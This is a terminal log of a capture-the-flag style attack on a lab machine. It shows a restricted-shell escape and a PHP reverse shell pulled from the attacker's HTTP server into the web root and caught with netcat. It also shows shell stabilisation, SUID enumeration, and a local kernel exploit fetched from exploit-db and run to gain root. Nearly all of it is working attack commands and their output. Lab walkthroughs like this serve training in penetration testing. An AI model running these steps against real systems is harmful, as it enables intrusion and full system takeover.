Privilege Escalation
┌──(root㉿cyber)-[~]
└─# nc -vv 192.168.2.138 22
days.vuln [192.168.2.138] 22 (ssh) open
SSH-2.0-OpenSSH_5.9p1 Debian-5ubuntu1.4
┌──(root㉿cyber)-[~]
└─# ssh andrea@192.168.2.138
andrea@192.168.2.138's password:
Welcome to Ubuntu 12.04.5 LTS (GNU/Linux 3.13.0-32-generic i686)
* Documentation: https://help.ubuntu.com/
System information as of Wed Jun 14 14:27:32 EEST 2023
System load: 0.1 Processes: 82
Usage of /: 20.8% of 6.76GB Users logged in: 0
Memory usage: 9% IP address for eth0: 192.168.2.138
Swap usage: 0%
Graph this data and manage this system at:
https://landscape.canonical.com/
New release '14.04.4 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
Your Hardware Enablement Stack (HWE) is supported until April 2017.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
andrea@cypm:~$ sudo -l
[sudo] password for root:
Sorry, try again.
[sudo] password for root:
sudo: 1 incorrect password attempt
andrea@cypm:~$ sudo -l
[sudo] password for root:
Sorry, try again.
[sudo] password for root:
sudo: 1 incorrect password attempt
andrea@cypm:~$ cd /var
rbash: cd: restricted
andrea@cypm:~$ sh
id
exit
andrea@cypm:~$ export TERM=xterm
andrea@cypm:~$ wget localhost
--2023-06-14 14:30:09-- http://localhost/
Resolving localhost (localhost)... 127.0.0.1
Connecting to localhost (localhost)|127.0.0.1|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1273 (1.2K) [text/html]
Saving to: `index.html'
100%[====================================================>] 1,273 --.-K/s in 0s
2023-06-14 14:30:09 (371 MB/s) - `index.html' saved [1273/1273]
┌──(root㉿cyber)-[~]
└─# vi revshell.php
┌──(root㉿cyber)-[~]
└─# python3 -m http.server 8555
Serving HTTP on 0.0.0.0 port 8555 (http://0.0.0.0:8555/) ...
192.168.2.138 - - [14/Jun/2023 13:32:35] "GET /revshell.php HTTP/1.1" 200 -
andrea@cypm:~$ wget http://192.168.2.137:8555/revshell.php -O /var/www/revshell.php
--2023-06-14 14:32:35-- http://192.168.2.137:8555/revshell.php
Connecting to 192.168.2.137:8555... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5495 (5.4K) [application/octet-stream]
Saving to: `/var/www/revshell.php'
100%[====================================================>] 5,495 --.-K/s in 0s
2023-06-14 14:32:35 (26.4 MB/s) - `/var/www/revshell.php' saved [5495/5495]
┌──(root㉿cyber)-[~]
└─# nc -lvnp 9001
Payload: http://days.vuln/revshell.php
listening on [any] 9001 ...
connect to [192.168.2.137] from (UNKNOWN) [192.168.2.138] 39716
Linux cypm 3.13.0-32-generic #57~precise1-Ubuntu SMP Tue Jul 15 03:50:54 UTC 2014 i686 athlon i386 GNU/Linux
14:32:59 up 6 min, 1 user, load average: 0.00, 0.01, 0.01
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
andrea pts/0 cyber 14:27 27.00s 0.00s 0.00s bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Stabilisiere Reverse Shell
$ python -c 'import pty;pty.spawn("/bin/bash")'
┌──(root㉿cyber)-[~]
└─# stty raw -echo;fg
reset
www-data@cypm:/$ ls -la
total 92
drwxr-xr-x 22 root root 4096 Jul 24 2016 .
drwxr-xr-x 22 root root 4096 Jul 24 2016 ..
drwxr-xr-x 2 root root 4096 Jul 11 2016 bin
drwxr-xr-x 3 root root 4096 Jul 2 2016 boot
drwxr-xr-x 15 root root 4080 Jun 14 14:26 dev
drwxr-xr-x 92 root root 4096 Jun 14 14:26 etc
-rwxr-xr-- 1 root root 7158 Jul 11 2016 flag
drwxr-xr-x 4 root root 4096 Jul 2 2016 home
lrwxrwxrwx 1 root root 33 Jul 2 2016 initrd.img -> boot/initrd.img-3.13.0-32-generic
drwxr-xr-x 17 root root 4096 Jul 2 2016 lib
drwx------ 2 root root 16384 Jul 2 2016 lost+found
drwxr-xr-x 3 root root 4096 Jul 2 2016 media
drwxr-xr-x 2 root root 4096 Jul 30 2014 mnt
drwxr-xr-x 2 root root 4096 Jul 2 2016 opt
dr-xr-xr-x 94 root root 0 Jun 14 14:27 proc
drwx------ 3 root root 4096 Jul 2 2016 root
drwxr-xr-x 17 root root 620 Jun 14 14:27 run
drwxr-xr-x 2 root root 4096 Jul 2 2016 sbin
drwxr-xr-x 2 root root 4096 Mar 5 2012 selinux
drwxr-xr-x 2 root root 4096 Jul 2 2016 srv
dr-xr-xr-x 13 root root 0 Jun 14 14:26 sys
drwxrwxrwt 2 root root 4096 Jun 14 14:39 tmp
drwxr-xr-x 10 root root 4096 Jul 2 2016 usr
drwxr-xr-x 13 root root 4096 Jul 11 2016 var
lrwxrwxrwx 1 root root 30 Jul 2 2016 vmlinuz -> boot/vmlinuz-3.13.0-32-generic
www-data@cypm:/$ ls /home/
andrea user
www-data@cypm:/$ find / -type f -perm -4000 -ls 2>/dev/null
286008 268 -rwsr-xr-- 1 root dip 273272 Feb 4 2011 /usr/sbin/pppd
286177 20 -rwsr-sr-x 1 libuuid libuuid 17976 Jun 18 2014 /usr/sbin/uuidd
283955 312 -rwsr-xr-- 1 root messagebus 316824 Jul 3 2014 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
267997 8 -rwsr-xr-x 1 root root 5564 Dec 13 2011 /usr/lib/eject/dmcrypt-get-device
285894 244 -rwsr-xr-x 1 root root 248056 Apr 30 2014 /usr/lib/openssh/ssh-keysign
285471 16 -rwsr-xr-x 1 root root 14012 Nov 8 2011 /usr/bin/traceroute6.iputils
266004 32 -rwsr-xr-x 1 root root 31748 Sep 13 2012 /usr/bin/chsh
285039 44 -rwsr-sr-x 1 daemon daemon 42800 Oct 25 2011 /usr/bin/at
270082 72 -rwsr-xr-x 2 root root 69708 Mar 11 2014 /usr/bin/sudo
270082 72 -rwsr-xr-x 2 root root 69708 Mar 11 2014 /usr/bin/sudoedit
263386 32 -rwsr-xr-x 1 root root 30896 Sep 13 2012 /usr/bin/newgrp
266003 44 -rwsr-xr-x 1 root root 41284 Sep 13 2012 /usr/bin/passwd
266006 60 -rwsr-xr-x 1 root root 57956 Sep 13 2012 /usr/bin/gpasswd
266001 40 -rwsr-xr-x 1 root root 40292 Sep 13 2012 /usr/bin/chfn
285874 56 -rwsr-xr-x 1 root root 56208 Jul 28 2011 /usr/bin/mtr
131719 40 -rwsr-xr-x 1 root root 39116 Nov 8 2011 /bin/ping6
131447 88 -rwsr-xr-x 1 root root 88760 Jun 18 2014 /bin/mount
131718 36 -rwsr-xr-x 1 root root 34740 Nov 8 2011 /bin/ping
131446 68 -rwsr-xr-x 1 root root 67720 Jun 18 2014 /bin/umount
142735 28 -rwsr-xr-x 1 root root 26252 Mar 2 2012 /bin/fusermount
131714 32 -rwsr-xr-x 1 root root 31116 Sep 13 2012 /bin/su
146065 8 -rwsrwxr-x 1 root andrea 7452 Jul 11 2016 /home/andrea/dog
www-data@cypm:/$ ls -la /home/andrea/dog
-rwsrwxr-x 1 root andrea 7452 Jul 11 2016 /home/andrea/dog
www-data@cypm:/$ file /home/andrea/dog
/home/andrea/dog: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x47653bf0ec60daa0019d013a7cc6e0a3e8267d25, not stripped
www-data@cypm:/$ strings /home/andrea/dog
/lib/ld-linux.so.2
|%}&
__gmon_start__
libc.so.6
_IO_stdin_used
exit
fopen
puts
putchar
fgetc
fclose
__libc_start_main
__xstat
GLIBC_2.0
GLIBC_2.1
PTRh`
QVho
D$45
UWVS
[^_]
Access Granted.
Access Denied.
;*2$"
GCC: (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
.symtab
.strtab
.shstrtab
.interp
www-data@cypm:/var/backups$ cd /var/www/
www-data@cypm:/var/www$ ls -la
total 36
drwxrwxrwx 3 www-data www-data 4096 Jun 14 14:32 .
drwxr-xr-x 13 root root 4096 Jul 11 2016 ..
-rw-rw-r-- 1 user user 565 Jul 2 2016 checkpromo.php
-rw-rw-r-- 1 user user 114 Jul 2 2016 config.php
-rw-rw-r-- 1 user user 82 Jul 2 2016 image.php
drwxrwxr-x 2 user user 4096 Jul 2 2016 img
-rw-rw-r-- 1 user user 1446 Jul 25 2016 index.php
-rw-rw-r-- 1 andrea andrea 5495 Jun 14 14:31 revshell.php
www-data@cypm:/var/www$ cd /home/user/
www-data@cypm:/home/user$ ls -la
total 32
drwxr-xr-x 5 user user 4096 Jul 2 2016 .
drwxr-xr-x 4 root root 4096 Jul 2 2016 ..
lrwxrwxrwx 1 root root 9 Jul 2 2016 .bash_history -> /dev/null
-rw-r--r-- 1 user user 220 Jul 2 2016 .bash_logout
-rw-r--r-- 1 user user 3486 Jul 2 2016 .bashrc
drwx------ 2 user user 4096 Jul 2 2016 .cache
drwxrwxr-x 2 user user 4096 Jul 2 2016 .pip
-rw-r--r-- 1 user user 675 Jul 2 2016 .profile
drwxrwxr-x 2 user user 4096 Jul 2 2016 Rashomon
www-data@cypm:/home/user$ cd Rashomon/
www-data@cypm:/home/user/Rashomon$ ls -la
total 16
drwxrwxr-x 2 user user 4096 Jul 2 2016 .
drwxr-xr-x 5 user user 4096 Jul 2 2016 ..
-rwxrwxr-x 1 user user 5359 Jul 2 2016 main.py
www-data@cypm:/home/user/Rashomon$ cat main.py
#!/usr/bin/python
import socket, sys, http_parser, re
from thread import *
# SQL Injection filters
sqli_meta = re.compile(ur'(\%27)|(\')|(\-\-)|(\%23)|(\#)', re.IGNORECASE | re.VERBOSE | re.MULTILINE)
sqli_words = re.compile(ur'\b(ALTER|CREATE|DELETE|DROP|EXEC(UTE){0,1}|INSERT(\s+INTO){0,1}|MERGE|SELECT|UPDATE|UNION(\s+ALL){0,1})\b', re.IGNORECASE | re.VERBOSE | re.MULTILINE)
# XSS filters
xss_noscript = re.compile(ur'<[^\w<>]*(?:[^<>"\'\s]*:)?[^\w<>]*(?:\W*s\W*c\W*r\W*i\W*p\W*t|\W*f\W*o\W*r\W*m|\W*s\W*t\W*y\W*l\W*e|\W*s\W*v\W*g|\W*m\W*a\W*r\W*q\W*u\W*e\W*e|(?:\W*l\W*i\W*n\W*k|\W*o\W*b\W*j\W*e\W*c\W*t|\W*e\W*m\W*b\W*e\W*d|\W*a\W*p\W*p\W*l\W*e\W*t|\W*p\W*a\W*r\W*a\W*m|\W*i?\W*f\W*r\W*a\W*m\W*e|\W*b\W*a\sW*e|\W*b\W*o\W*d\W*y|\W*m\W*e\W*t\W*a|\W*i\W*m\W*a?\W*g\W*e?|\W*v\W*i\W*d\W*e\W*o|\W*a\W*u\W*d\W*i\W*o|\W*b\W*i\W*n\W*d\W*i\W*n\W*g\W*s|\W*s W*e\W*t|\W*i\W*s\W*i\W*n\W*d\W*e\W*x|\W*a\W*n\W*i\W*m\W*a\W*t\W*e)[^>\w])|(?:<\w[\s\S]*[\s\0\/]|[\'"])(?:formaction|style|background|src|lowsrc|ping|on(?:d(?:e(?:vice(?:(?:orienta|mo)tion|proximity|found|light)|livery(?:success|error)|activate)|r(?:ag(?:e(?:n(?:ter|d)|xit)|(?:gestur|leav)e|start|drop|over)?|op)|i(?:s(?:c(?:hargingtimechange|onnect(?:ing|ed))|abled)|aling)|ata(?:setc(?:omplete|hanged)|(?:availabl|chang)e|error)|urationchange|ownloading|blclick)|Moz(?:M(?:agnifyGesture(?:Update|Start)?|ouse(?:PixelScroll|Hittest))|S(?:wipeGesture(?:Update|Start|End)?|crolledAreaChanged)|(?:(?:Press)?TapGestur|BeforeResiz)e|EdgeUI(?:C(?:omplet|ancel)|Start)ed|RotateGesture(?:Update|Start)?|A(?:AudioAvailable|fterPaint))|c(?:o(?:m(?:p(?:osition(?:update|start|end)|lete)|mand(?:update)?)|n(?:t(?:rolselect|extmenu)|nect(?:ing|ed))|py)|a(?:(?:llschang|ch)ed|nplay(?:through)?|rdstatechange)|h(?:(?:arging(?:time)?ch)?ange|ecking)|(?:fstate|ell)change|u(?:echange|t)|l(?:ick|ose))|m(?:o(?:z(?:pointerlock(?:change|error)|(?:orientation|time)change|fullscreen(?:change|error)|network(?:down|up)load)|use(?:(?:lea|mo)ve|o(?:ver|ut)|enter|wheel|down|up)|ve(?:start|end)?)|essage|ark)|s(?:t(?:a(?:t(?:uschanged|echange)|lled|rt)|k(?:sessione|comma)nd|op)|e(?:ek(?:complete|ing|ed)|(?:lec(?:tstar)?)?t|n(?:ding|t))|u(?:ccess|spend|bmit)|peech(?:start|end)|ound(?:start|end)|croll|how)|b(?:e(?:for(?:e(?:(?:scriptexecu|activa)te|u(?:nload|pdate)|p(?:aste|rint)|c(?:opy|ut)|editfocus)|deactivate)|gin(?:Event)?)|oun(?:dary|ce)|l(?:ocked|ur)|roadcast|usy)|a(?:n(?:imation(?:iteration|start|end)|tennastatechange)|fter(?:(?:scriptexecu|upda)te|print)|udio(?:process|start|end)|d(?:apteradded|dtrack)|ctivate|lerting|bort)|DOM(?:Node(?:Inserted(?:IntoDocument)?|Removed(?:FromDocument)?)|(?:CharacterData|Subtree)Modified|A(?:ttrModified|ctivate)|Focus(?:Out|In)|MouseScroll)|r(?:e(?:s(?:u(?:m(?:ing|e)|lt)|ize|et)|adystatechange|pea(?:tEven)?t|movetrack|trieving|ceived)|ow(?:s(?:inserted|delete)|e(?:nter|xit))|atechange)|p(?:op(?:up(?:hid(?:den|ing)|show(?:ing|n))|state)|a(?:ge(?:hide|show)|(?:st|us)e|int)|ro(?:pertychange|gress)|lay(?:ing)?)|t(?:ouch(?:(?:lea|mo)ve|en(?:ter|d)|cancel|start)|ime(?:update|out)|ransitionend|ext)|u(?:s(?:erproximity|sdreceived)|p(?:gradeneeded|dateready)|n(?:derflow|load))|f(?:o(?:rm(?:change|input)|cus(?:out|in)?)|i(?:lterchange|nish)|ailed)|l(?:o(?:ad(?:e(?:d(?:meta)?data|nd)|start)?|secapture)|evelchange|y)|g(?:amepad(?:(?:dis)?connected|button(?:down|up)|axismove)|et)|e(?:n(?:d(?:Event|ed)?|abled|ter)|rror(?:update)?|mptied|xit)|i(?:cc(?:cardlockerror|infochange)|n(?:coming|valid|put))|o(?:(?:(?:off|n)lin|bsolet)e|verflow(?:changed)?|pen)|SVG(?:(?:Unl|L)oad|Resize|Scroll|Abort|Error|Zoom)|h(?:e(?:adphoneschange|l[dp])|ashchange|olding)|v(?:o(?:lum|ic)e|ersion)change|w(?:a(?:it|rn)ing|heel)|key(?:press|down|up)|(?:AppComman|Loa)d|no(?:update|match)|Request|zoom))[\s\0]*=', re.MULTILINE | re.IGNORECASE)
# All filters
filters = [sqli_meta, sqli_words, xss_noscript]
def listen_sock():
HOST="0.0.0.0"
PORT=80
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
print "[+] Socket created"
try:
s.bind((HOST, PORT))
except socket.error as msg:
print "[!] Error [%d]: %s" % (msg[0], msg[1])
sys.exit()
print "[+] Socket binded"
s.listen(5)
print "[+] Listening.."
while 1:
conn, addr = s.accept()
print "[*] Incoming connection %s:%d" % (addr[0], addr[1])
start_new_thread(handle_client, (conn,))
s.close()
def handle_client(conn):
while True:
data = conn.recv(1024)
apply_filters(conn, data, filters)
if not data:
break
conn.close()
""" parsing functions will be here """
def forward_req(conn, req):
HOST = "127.0.0.1"
PORT = 8080
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST,PORT))
s.send(req)
data = s.recv(4096)
s.close()
conn.send(data)
def block_req(conn):
conn.send("""HTTP/1.1 200 OK
Date: Sat, 02 Jul 2016 07:26:13 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: RashomonIDS/v0.1
Content-Length: 40
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
Malicious request blocked!
~Rashomon IPS""")
conn.close()
exit()
def apply_filters(conn, req, filters):
for filter in filters:
m = re.search(filter, req)
if m:
print "[!] Injection attempt, blocking.."
block_req(conn)
return
forward_req(conn, req)
print "Hello, world"
listen_sock()
www-data@cypm:/home/user/Rashomon$ ls -la /etc/passwd
-rw-r--r-- 1 root root 1142 Jul 11 2016 /etc/passwd
www-data@cypm:/home/user/Rashomon$ ss -altpn
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 50 127.0.0.1:3306 * LISTEN 0 128 *:8080 *
LISTEN 0 5 *:80 *
LISTEN 0 128 :::22 :::*
LISTEN 0 128 *:22 *:*
www-data@cypm:/home/user/Rashomon$ uname -a
Linux cypm 3.13.0-32-generic #57~precise1-Ubuntu SMP Tue Jul 15 03:50:54 UTC 2014 i686 athlon i386 GNU/Linux
┌──(root㉿cyber)-[~]
└─# searchsploit 3.13.0
------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------ ---------------------------------
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) | linux/local/37292.c
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) | linux/local/37293.txt
Unified Remote 3.13.0 - Remote Code Execution (RCE) | windows/remote/51309.py
------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
Papers: No Results
www-data@cypm:/tmp$ wget https://raw.githubusercontent.com/sleventyeleven/linuxprivchecker/master/linuxprivchecker.py -O linuxprivchecker.py --no-check-certificate
--2023-06-14 14:53:42-- https://raw.githubusercontent.com/sleventyeleven/linuxprivchecker/master/linuxprivchecker.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 2606:50c0:8001::154, 2606:50c0:8003::154, 2606:50c0:8002::154, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|2606:50c0:8001::154|:443... connected.
WARNING: no certificate subject alternative name matches
requested host name `raw.githubusercontent.com'.
HTTP request sent, awaiting response... 200 OK
Length: 37196 (36K) [text/plain]
Saving to: `linuxprivchecker.py'
100%[======================================>] 37,196 --.-K/s in 0.005s
2023-06-14 14:53:42 (7.25 MB/s) - `linuxprivchecker.py' saved [37196/37196]
www-data@cypm:/tmp$ chmod +x linuxprivchecker.py
www-data@cypm:/tmp$ ./linuxprivchecker.py
rivchecker/master/linuxprivchecker.py -O linuxprivchecker.py^Cventyeleven/linuxpratechecker/master/linuxprivchecker.py -O linuxprivchecker.py --no-check-certific
--2023-06-14 14:53:42-- https://raw.githubusercontent.com/sleventyeleven/linuxprivchecker/master/linuxprivchecker.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 2606:50c0:8001::154, 2606:50c0:8003::154, 2606:50c0:8002::154, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|2606:50c0:8001::154|:443... connected.
WARNING: no certificate subject alternative name matches
requested host name `raw.githubusercontent.com'.
HTTP request sent, awaiting response... 200 OK
Length: 37196 (36K) [text/plain]
Saving to: `linuxprivchecker.py'
100%[======================================>] 37,196 --.-K/s in 0.005s
www-data@cypm:/tmp$ ./linuxprivchecker.py
=======================================================================================
__ _ ____ _ ________ __
/ / (_)___ __ ___ __/ __ \_____(_) __/ ____/ /_ ___ _____/ /_____ _____
/ / / / __ \/ / / / |/_/ /_/ / ___/ / | / / / / __ \/ _ \/ ___/ //_/ _ \/ ___/
/ /___/ / / / / /_/ />
/_____/_/_/ /_/\__,_/_/|_/_/ /_/ /_/ |___/\____/_/ /_/\___/\___/_/|_|\___/_/
=======================================================================================
[*] ENUMERATING USER AND ENVIRONMENTAL INFO...
[+] List out any screens running for the current user
No Sockets found in /var/run/screen/S-www-data.
[+] Logged in User Activity
system boot Jun 14 14:26
run-level 2 Jun 14 14:26
LOGIN tty4 Jun 14 14:26 882 id=4
LOGIN tty5 Jun 14 14:26 889 id=5
LOGIN tty2 Jun 14 14:26 893 id=2
LOGIN tty3 Jun 14 14:26 894 id=3
LOGIN tty6 Jun 14 14:26 897 id=6
LOGIN tty1 Jun 14 14:26 1104 id=1
andrea + pts/0 Jun 14 14:27 00:22 1208 (cyber)
[+] Super Users Found:
root
[+] Environment
SHLVL=1
OLDPWD=/home/user/Rashomon
APACHE_RUN_DIR=/var/run/apache2
APACHE_PID_FILE=/var/run/apache2.pid
_=./linuxprivchecker.py
TERM=xterm
PATH=/usr/local/bin:/usr/bin:/bin
APACHE_LOCK_DIR=/var/lock/apache2
LANG=C
APACHE_RUN_USER=www-data
APACHE_RUN_GROUP=www-data
APACHE_LOG_DIR=/var/log/apache2
PWD=/tmp
[+] Sudoers (privileged)
[+] All users
www-data@cypm:/tmp$ wget https://www.exploit-db.com/exploits/37292 -O exploit.c
www-data@cypm:/tmp$ ls
linuxprivchecker.py
www-data@cypm:/tmp$ nano exploit.c
www-data@cypm:/tmp$ ls -la
total 68
drwxrwxrwt 2 root root 4096 Jun 14 15:02 .
drwxr-xr-x 22 root root 4096 Jul 24 2016 ..
-rwxrwxrwx 1 www-data www-data 12018 Jun 14 15:02 exploit
-rw-rw-rw- 1 www-data www-data 4982 Jun 14 15:01 exploit.c
-rwxrwxrwx 1 www-data www-data 37196 Jun 14 14:53 linuxprivchecker.py
www-data@cypm:/tmp$ chmod +x exploit
www-data@cypm:/tmp$ ./exploit
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)